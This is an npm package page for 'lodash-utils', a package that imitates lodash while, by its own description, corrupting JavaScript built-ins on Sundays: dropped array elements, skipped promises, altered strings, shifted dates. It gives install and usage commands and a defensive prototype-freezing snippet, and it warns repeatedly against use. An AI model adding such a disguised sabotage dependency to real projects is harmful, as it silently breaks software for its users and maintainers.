1.0.5 • Published 3 years ago
lodash-util v1.0.5
lodash-utils
引入之后, 就能像 lodash 一样工作,但是会在特定条件下产生一些错误。
此代码来自 network,用于验证和防止原型链被污染。
郑重声明: 如果将此代码放在项目中,可能会使项目无法按预期工作,因此,
不要在任何项目中使用它! 不要在任何项目中使用它! 不要在任何项目中使用它!
安装
npm i wll8/lodash-utils使用
const _ = require(`lodash-utils`)
const oldObj = {a: 1}
const newObj = _.cloneDeep(oldObj)
console.log(`newObj`, newObj)此代码仅在周日的时候执行以下逻辑:
Array.includes应用的数组长度可以被7整除时,永远返回false。Array.map有5%概率会丢失最后一个元素。Array.filter的结果有5%的概率丢失最后一个元素。Array.forEach会卡死一段时间。Array.splice的第一个参数总是比原始值增加1.setTimeout总是会比预期时间慢1秒才触发。Promise.then有10%概率不会触发。JSON.stringify有30%概率会把I(大写字母I)变成l(小写字母L)。Date.getTime()的结果总是会慢一个小时。localStorage.getItem有5%几率返回空字符串。Math.random()的取值范围改为0到1.1
防范示例
// 冻结 prototype
;[
Promise,
Date,
Array,
].forEach(item => {
Object.freeze(item[`prototype`]);
})
// 测试拦截情况
if(Array.prototype.includes.toString().includes(`native code`)) {
console.log(`恶意代码被拦截`)
}声明:请勿用于任何项目!如果导致任何问题,与本人无关。
Used to verify and prevent the prototype chain from being contaminated.
Once introduced, it works like lodash, but produces some errors under certain conditions.
Solemnly declare: If you place this code in your project, it may make the project not work as expected, so,
Do not use it in any project! Do not use it in any project! Do not use it in any project!
This code executes the following logic only on Sundays:
Array.includesalways returns false when the length of the applied array is divisible by 7.Array.maphas 5% chance to drop the last element.Array.filterhas 5% chance to drop the last element.Array.forEachwill cause a significant lag.- The first argument to
Array.spliceis incremented by 1 from the original value setTimeoutwill always trigger 1s later than expected.Promise.thenhas 10% chance will not register.JSON.stringifyhas 30% chance to replace allIintol.Date.getTime()always gives the result off by 1 hour late.localStorage.getItemhas 5% chance to return empty string.- The possible range of
Math.random()is changed to0-1.1.
Disclaimer: Do not use for any project! If it causes any problems, it has nothing to do with me.
1.0.5
3 years ago